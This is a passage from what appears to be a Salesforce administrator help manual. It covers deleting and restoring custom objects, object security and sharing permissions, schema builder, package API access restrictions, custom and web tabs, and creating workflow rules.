You can't delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1163. You can't delete a custom object if it is a target object in an analytic snapshot. You can't delete a custom object that contains custom fields that are used in a roll-up summary field for another object. Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time Salesforce permanently removes any items relating to the deleted custom object. You can't delete a custom object if it is referenced in: An Apex script A Visualforce page An analytic snapshot

In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this object, manually delete junction object records until the count is fewer than 200. You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records.

See Also:
Managing Deleted Custom Objects

Managing Deleted Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To restore deleted custom objects: To permanently delete custom objects: Customize Application Customize Application

When you delete a custom object, Salesforce does not list it in the Recycle Bin with other deleted records. Instead, deleted objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the data stored in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased. If a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message. Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your organization. To view a list of your deleted custom objects: 1. Click Your Name > Setup > Create > Objects. 2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number of deleted custom objects in your organization. This link only displays when you have a deleted custom object. 3. Use the list of deleted custom objects to perform the following actions:

1624

Create

Custom Object Security

To view details about an object, click the label. To permanently remove the custom object and its data, click Erase. To restore the object and its data, click Undelete. Some attributes of deleted custom objects are not automatically restored. To restore these manually, complete the following steps: The developer name was changed to objectname_del. Edit the object to change the developer name. The custom object's Deployment Status field was set to In Development. When all changes impacted by the delete have been restored, edit the object to change the status to Deployed. Add the custom object to any appropriate Force.com AppExchange packages. Salesforce automatically removes deleted custom objects from packages that contain them. Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required. Rebuild any workflow rules on the object. Reactivate any custom validation rules for the object. Reactivate any approval processes for the object. Open and save any custom formula fields on the custom object to enable them. On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the page layout is not edited while the object is deleted. For custom report types where the object is not the main object, add the reference to the custom object back to the custom report types. Reports based on the custom report type are automatically restored if not edited while the object is deleted. Recreate any reports that have been edited. If the deleted custom object is on the detail side of a master-detail relationship: Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to master-detail. Reports based on the object are not restorable. Where appropriate, recreate the reports.

Note: It may take several hours before you can search for records in the object.

See Also:
Deleting Custom Objects

Custom Object Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Tabs are not available in Database.com.

Many different security settings work together so you can control access to your custom objects with great flexibility. Set custom object security at the following different levels:

1625

Create

Custom Object Security

Tabdisplay the custom tab for the appropriate users based on their user profiles. Objectset the access users have to create, read, edit, and delete records for each object. Recordsset the default sharing model for all your users. This determines the access users have to custom object records that they do not own. Relationshipfor objects on the detail side of a master-detail relationship, specify the sharing access that users must have to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing Setting attribute of the master-detail relationship field on the detail object. Fieldsset the level of access users have to fields on your custom object page layout.

The following requirements apply to custom objects with no master-detail relationship: Action Create a record Required Privileges Create permission. The user must have the tab displayed to create a new record from the Create New drop-down list in the sidebar. Read permission and Public Read Only or Public Read/Write sharing model if not the record owner. Edit permission and Public Read/Write sharing model if not the record owner. Delete permission and must be the record owner or above the record owner in the role hierarchy.

View a record Edit a record Delete a record

The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object: Action Create a record Required Privileges Create permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object. Read permission and read access to the related master record. If the record has two master records in a many-to-many relationship, the user must have read access to both master records. Edit permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object. Delete permission and either read or read/write access to the related master record, depending on the value of the Sharing Setting attribute of the master-detail relationship field on the detail object.

View a record

Edit a record

Delete a record

1626

Create

Schema Builder OverviewBeta

Action

Required Privileges When a user deletes a record that has related custom object records, all related custom object records are deleted regardless of whether the user has delete permission to the custom object.

Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify relationships on the object or set organization-wide sharing defaults.

See Also:
Field-Level Security Overview User Permissions Object Permissions Setting Your Organization-Wide Sharing Defaults Defining Custom Objects

Schema Builder OverviewBeta


Available in: All Editions

Note: This release contains a beta version of schema builder that is production-quality but has known limitations. Schema builder is not supported on Windows Internet Explorer version 6 or earlier. Schema builder provides a dynamic environment to view the elements of your schema all in one window. This eliminates the need to click from page to page to find the details of objects, fields, and relationships in your schema. The drag-and-drop interface lets you easily move objects around and saves the layout of your schema any time you move an object. Schema builder provides details such as the field values, required fields, and how objects are related by displaying lookup and master-detail relationships. You can view the details for both standard and custom objects in schema builder. Schema builder is enabled by default and provides read-only access to the objects, fields, and relationships in your schema.

See Also:
Working with Schema Builder

Working with Schema Builder

1627

Create

Schema Builder OverviewBeta

Available in: All Editions

User Permissions Needed To view objects in schema builder: "Customize Application"

Note: This release contains a beta version of schema builder that is production-quality but has known limitations. Schema builder is not supported on Windows Internet Explorer version 6 or earlier. You can access schema builder in the following ways: Click Your Name > Setup > Schema Builder. Click Your Name > Setup > Create > Objects. Then in the custom objects page, click Schema Builder.

When working with schema builder: Click on an object and move it to any space on the canvas. Schema builder saves the layout of your schema any time you move an object. To automatically sort the layout of the objects in your schema, click Auto-Layout. Once you click Auto-Layout, you can't undo it. Depending on your preferences you can display either element names if you prefer system names or labels if you prefer text values. To display element names, click View Options > Display Element Names. To display element labels, click View Options > Display Element Labels. To show or hide relationships, click View Options > Show/Hide Relationships. You may want to hide relationships if your schema is taking too long to load. Hover over relationship lines to show relationship details such as lookup and master-detail relationships. Click to quickly find a specific object in your list of objects. Click the drop-down list to filter your list of objects in the sidebar: All Objects Selected Objects Standard Objects Custom Objects System Objects

To clear all selected objects in the sidebar, click Clear All. To select all objects, click Select All. To collapse the sidebar, click . To expand it, click . The legend: indicates a lookup relationship indicates a master-detail relationship

1628

Create

Managing API and Dynamic Apex Access in Packages

indicates a field is required on an object in the legend window.

To show or hide the legend, click View Options > Show/Hide Legend. To close the legend, click To view the details of a field in a new window, click the element name or label. To view object and field details in a new window, click To zoom in, click . To zoom out, click . > View Object in New Window.

Note: You can't save the level of zoom when closing schema builder.

To close the schema builder and save the layout of your objects, click Close.

See Also:
Schema Builder OverviewBeta

Managing API and Dynamic Apex Access in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit API and dynamic Apex access for a package you have Create AppExchange packages created or installed: To accept or reject package API and dynamic Apex access for Download AppExchange packages a package as part of installation:

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With this setting: The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other packages that this package depends on. The installer of a package can accept or reject package access privileges when installing the package to his or her organization. After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable access on additional objects such as custom objects created in the installers organization or objects installed by unrelated packages.

Setting API and Dynamic Apex Access in Packages


To change package access privileges in a package you or someone in your organization has created:

1629

Create

Managing API and Dynamic Apex Access in Packages

1. Click Your Name > Setup > Create > Packages. 2. Select a package. 3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Use the API Access field to: Enable Restrictions This option is available only if the current setting is Unrestricted. Select this option if you want to specify the dynamic Apex and API access that package components have to standard objects in the installer's organization. When you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when finished. For more information about choosing the Restricted option, including information about when it is disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2050. Disable Restrictions This option is available only if the current setting is Restricted. Select this option if you do not want to restrict the Apex and API access privileges that the components in the package have to standard and custom objects. This option gives all the components in the package the same API access as the user who is logged in. For example, if a user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that user. Restricted Click this link if you have already restricted API access and wish to edit the restrictions.

Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing: Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 2042. In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if you have not canceled.

Changing API and Dynamic Apex Access Privileges After Installation


To edit the package API and dynamic Apex access privileges after you have installed a package: 1. Select Your Name > Setup > Installed Packages. 2. Click the name of the package you wish to edit. 3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Use the API Access field to: Enable Restrictions This option is available only if the current setting is Unrestricted. Select this option if you want to specify the dynamic Apex and API access that package components have to standard objects in the installer's organization. When you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when

1630

Create

What is a Custom Tab?

finished. For more information about choosing the Restricted option, including information about when it is disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2050. Disable Restrictions This option is available only if the current setting is Restricted. Select this option if you do not want to restrict the Apex and API access privileges that the components in the package have to standard and custom objects. This option gives all the components in the package the same API access as the user who is logged in. For example, if a user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that user. Restricted Click this link if you have already restricted API access and wish to edit the restrictions.

What is a Custom Tab?


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A custom tab is a user interface component you create to display custom object data or other web content embedded in the application. The following types of custom tabs are available: Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function just like standard tabs. See Creating Custom Object Tabs on page 1632. Custom Web Tabs display any external Web-based application or Web page in a Salesforce tab. You can design Web tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1634. Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See Creating Visualforce Tabs on page 1933.

See Also:
Creating Custom Apps What is an App? Defining Object-Level Help

Defining Custom Tabs

1631

Create

Defining Custom Tabs

Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Custom tabs display custom object data or other web content embedded in the application. For the total number of custom tabs you can create, see Salesforce Editions and Limits on page 1898. Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1632. Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1634. Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 1933.

Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects. See Delegating Administrative Duties on page 690.

See Also:
What is a Custom Tab?

Creating Custom Object Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Define a new tab to display the data stored in your custom object records. 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Custom Object Tabs related list. 3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new custom object now and follow the instructions in Defining Custom Objects on page 1604. The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom Objects on page 1604. 4. Click the Tab Style lookup icon to display the Tab Style Selector.

1632

Create

Defining Custom Tabs

If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 5. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use. Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears. 6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 1166. 7. Enter a description of the tab, if desired, and click Next. 8. Choose the user profiles for which the new custom tab will be available: Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list. Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile.

For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On. 9. Specify Tab Visibility. For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility is automatically set to Default On. If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that users with the Create permission can quickly create a new record. For example, if the custom object displayed in the custom tab is named Expenses, an Expense option appears in this list. 10. Specify the custom apps that should include the new tab. See What is an App? on page 1591 for information on custom apps. 11. Check Append tab to users' existing personal customizations to add the new tab to your users customized display settings if they have customized their personal display. 12. Click Save. To further customize the tab: Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1620.

1633

Create

Defining Custom Tabs

Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing Search Layouts for Custom Objects on page 1621.

See Also:
Creating Custom Object Tabs

Creating Web Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Build web tabs so that your users can use your web applications or other websites from within the application. 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Web Tabs related list. 3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column style allows users to view the sidebar. 4. Click Next. 5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want displayed in the web tab. See Defining Custom S-Controls on page 1944. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. 6. Enter a label to display on the tab. 7. Click the Tab Style lookup icon to display the Tab Style Selector. If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 8. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use.

1634

Create

Defining Custom Tabs

Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears. 9. Change the content frame height if necessary. 10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile web browser. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs on page 886 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web tabs are compatible with mobile browsers before mobilizing a web tab. Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization. 11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining Custom Buttons and Links on page 1166 for information about creating a custom link to use as a splash page for your custom tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the web tab. 12. Enter a description of the tab, if desired, and click Next. 13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge fields for data that you want replaced in the link dynamically. Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs. For details about using merge fields, see Merge Fields Overview on page 426. Optionally, click the preview link to display your web tab. 14. For a URL, choose an encoding setting and click Next. 15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to determine whether the custom tab is visible to users with that profile. The administrator can change this setting later. 16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all users. 17. Specify the custom apps that should include the new tab. See What is an App? on page 1591 for information on custom apps. 18. Click Save.

Managing Custom Tabs

1635

Create

Managing Custom Tabs

Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom tabs: Customize Application

After creating your custom tabs, you can edit or delete them. Click Your Name > Setup > Create > Tabs to display a list of your organizations custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs. To view details for a custom tab, click the custom tab name. To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the Splash Page Custom Link, see Defining Home Tab Components on page 1213 for information about creating a custom link to use as a splash page for your custom tab. To remove a custom tab, click Del. To create a new custom tab, click New. See Creating Custom Object Tabs on page 1632, Creating Web Tabs on page 1634, or Creating Visualforce Tabs on page 1933. To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 1775. To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 1933 and Creating Web Tabs on page 1634. For more information about customizing tabs in the mobile application, see Managing Mobile Tabs on page 886. To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 1779.

Managing Workflow and Approvals


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals, Tasks, and Email Alerts are not available in Database.com

User Permissions Needed To view workflow rules and approval processes: To create or change workflow rules and approval processes: View Setup and Configuration Customize Application

Your sales force operates more efficiently with standardized internal procedures and automated business processes. Set up Salesforce to automatically perform these procedures and processes based on your organizations needs. Begin by designing workflow rules and approval processes, and associating them with workflow actions, such as email alerts, tasks, field updates, or outbound messages.

1636

Create

Managing Workflow and Approvals

Terminology
Workflow Rule A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute the workflow actions on a specific day. If a workflow action has not executed yet, you can view and modify it in the Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number of rules allowed in each organization, see Salesforce Editions and Limits. Approval Process An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. See Managing Approval Processes to get started using approval processes. Flow A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce, it becomes an application for navigating users through a series of screens. See About Visual Workflow on page 1733 to get started using flows. Workflow and Approval Actions Workflow and approval actions consist of email alerts, tasks, field updates, and outbound messages that can be triggered by a workflow rule or approval process. Email Alert Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval process and sent to designated recipients, either Salesforce users or others. See Managing Email Alerts to get started using email alerts. Field Update Field updates are workflow and approval actions that specify the field you want updated and the new value for it. Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based on a formula you create. See Managing Field Updates to get started using field updates. Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. See Managing Tasks for Workflow and Approvals to get started using tasks.

1637

Create

Managing Workflow Rules

Outbound Message An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. See Managing Outbound Messages to get started using outbound messages.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones Creating Tasks for Workflow, Approvals, or Milestones Defining Field Updates Defining Outbound Messages Creating Workflow Rules Examples of Workflow Rules Customizing Workflow and Approval Settings Administrator tip sheet: Workflow: Automating The Process Differences Between Auto-Response Rules and Workflow Alerts Creating Approval Processes

Managing Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks and Email Alerts are not available in Database.com

User Permissions Needed To view workflow rules: To create or change workflow rules: View Setup and Configuration Customize Application

Automate your organizations standard processes by configuring workflow rules. Workflow automates the following types of actions: Email AlertsSend an email to one or more recipients. For example, automatically send sales management an email alert when a sales representative qualifies a large deal. TasksAssign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support representative one week after a case is updated. Field UpdatesUpdate the value of a field on a record. For example, automatically change the Owner field on a contract three days before it expires. Outbound MessagesSend a secure configurable API message (in XML format) to a designated listener. For example, automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message to an external HR system.

Configure your organizations workflow by creating workflow rules. Each workflow rule consists of:

1638

Create

Managing Workflow Rules

Criteria that determine when Salesforce executes the workflow rule. Any change that causes a record to match this criteria can trigger the workflow ruleeven changes to hidden fields. Immediate actions to take when the workflow rule executes. For example, Salesforce can automatically send an email that notifies the sales team when a new high-value opportunity is created. Time-dependent actions that Salesforce queues when the workflow rule executes. For example, Salesforce can automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date. When Salesforce triggers a workflow rule that has time-dependent actions, you can use the workflow queue to monitor and cancel pending actions.

If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active. To get started using workflow rules, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. From this page, you can: Click New Rule to create a new workflow rule. Select an existing rule to view its details, clone it, activate and deactivate it, or view and edit actions and time triggers. Click Edit to make changes to a workflow rule. Click Del to delete a workflow rule. Note: You cannot delete a workflow rule that has pending actions in the workflow queue. Wait until pending actions are processed, or use the workflow queue to cancel the pending actions. Click Activate to set a rule into action. Click Deactivate to prevent the rule from firing when its conditions are met. Note the following: You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions, Salesforce completes those actions as long as the record that triggered the rule is not updated. You cannot add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first, add the time-dependent workflow action, and reactivate the rule. When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger task-based workflow rules. Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

See Also:
Creating Workflow Rules Notes on Using Workflow Rules Examples of Workflow Rules Managing Workflow and Approvals Managing Email Alerts Managing Tasks for Workflow and Approvals Managing Field Updates Defining Outbound Messages Differences Between Auto-Response Rules and Workflow Alerts

1639

Create

Managing Workflow Rules

Creating Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules, email alerts, tasks, field Customize Application updates, and outbound messages:

Watch a Demo (2:50 minutes) Automate your organizations standard processes by configuring workflow rules. Workflow automates the following types of actions: Email AlertsSend an email to one or more recipients. For example, automatically send sales management an email alert when a sales representative qualifies a large deal. TasksAssign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support representative one week after a case is updated. Field UpdatesUpdate the value of a field on a record. For example, automatically change the Owner field on a contract three days before it expires. Outbound MessagesSend a secure configurable API message (in XML format) to a designated listener. For example, automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message to an external HR system.

To create a new rule: 1. 2. 3. 4. Select the object to which the workflow rule applies. Configure the workflow rule settings and criteria. Configure the workflow actions. Activate the workflow rule.

Select the Object for Your Workflow Rule


1. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. 2. On the workflow rules list page, click New Rule. 3. Choose a custom or standard object to which you want this workflow rule to apply. Note: If you have a workflow action that updates a field on a related object, that target object is not the one associated with the workflow rule. To create workflow rules based on new case comments or incoming email messages that automatically update fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow Rules for more information.

1640

Create

Managing Workflow Rules

To create a site usage rule, choose one of the following: Organization (for monthly page views allowed and monthly page views used fields) Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields) User License (for the monthly logins allowed and monthly logins used fields) The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your organization. You can't create email alerts for workflow rules on activities.

4. Click Next.

Configure Rule Settings and Criteria


1. Enter a rule name. 2. Optionally, enter a description for the rule. 3. Choose the evaluation criteria:
When a record is created, or when a record is edited and did not previously meet the rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran

and still meets the rule criteria. The rule is not re-triggered on edits that do not affect rule criteria. For example, if setting an opportunity rating to Hot causes the rule to run, with this option, the rule will run again only if the rating changes, then changes back to Hotno matter how many times you edit the object. Only when a record is created: Choose this option to ignore updates to existing records. Every time a record is created or edited: Choose this option to include new records and updates to existing records and repeatedly trigger the rule, even if the record still meets the criteria. You cannot add time-dependent actions to the rule if you choose Every time a record is created or edited. Note: You can't add time-dependent actions to a rule if you choose Every time a record is created or edited.

4. Enter your rule criteria: Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set the filter to Opportunity: Amount greater than 5000 if you want opportunity records with an amount greater than $5,000 to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default language. You can add up to 25 filter criteria, up to 255 characters. Note: Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the user is in a different language than that of the organization. Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce triggers the rule if the formula returns True. Examples of useful workflow formulas include: If the number of filled positions equals the number of total positions on a job, update the Job Status field to Filled. If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit, automatically update the Approval Required field to Required.

1641

Create

Managing Workflow Rules

If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner to follow up 60 days after the opportunity is closed. Some functions are not available in workflow rule formulas. Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information, see Merge Fields Overview.

5. Click Save & Next.

Configure Workflow Actions


Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met. Time-dependent actions specify when Salesforce executes the workflow action. For example, Salesforce can automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date. Tip: Time-dependent actions and time triggers are complex features with several considerations. If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active. 1. Add a workflow action: To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and select:
New Task to create a task to associate with the rule New Email to create an email alert to associate with the rule New Field Update to define a field update to associate with the rule New Outbound Message to define an outbound message to associate with the rule Select Existing Action to select an existing action to associate with the rule

To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section and: a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was created or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow action. b. Click Save. Note: The Add Time Trigger button is unavailable if: The rule criteria is set to Every time a record is created or edited The rule is activated The rule is deactivated but has pending actions in the workflow queue

2. Configure additional immediate or time-dependent actions. 3. Click Done.

1642

Create

Managing Workflow Rules

Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from Awaiting Customer Response to In Progress when a customer adds a case comment. The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates.

Activate the Workflow Rule


Salesforce does not trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time triggers associated with the rule.

Notes on Using Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Standard Objects are not available in Database.com

User Permissions Needed To view workflow rules: To create or change workflow rules: View Setup and Configuration Customize Application

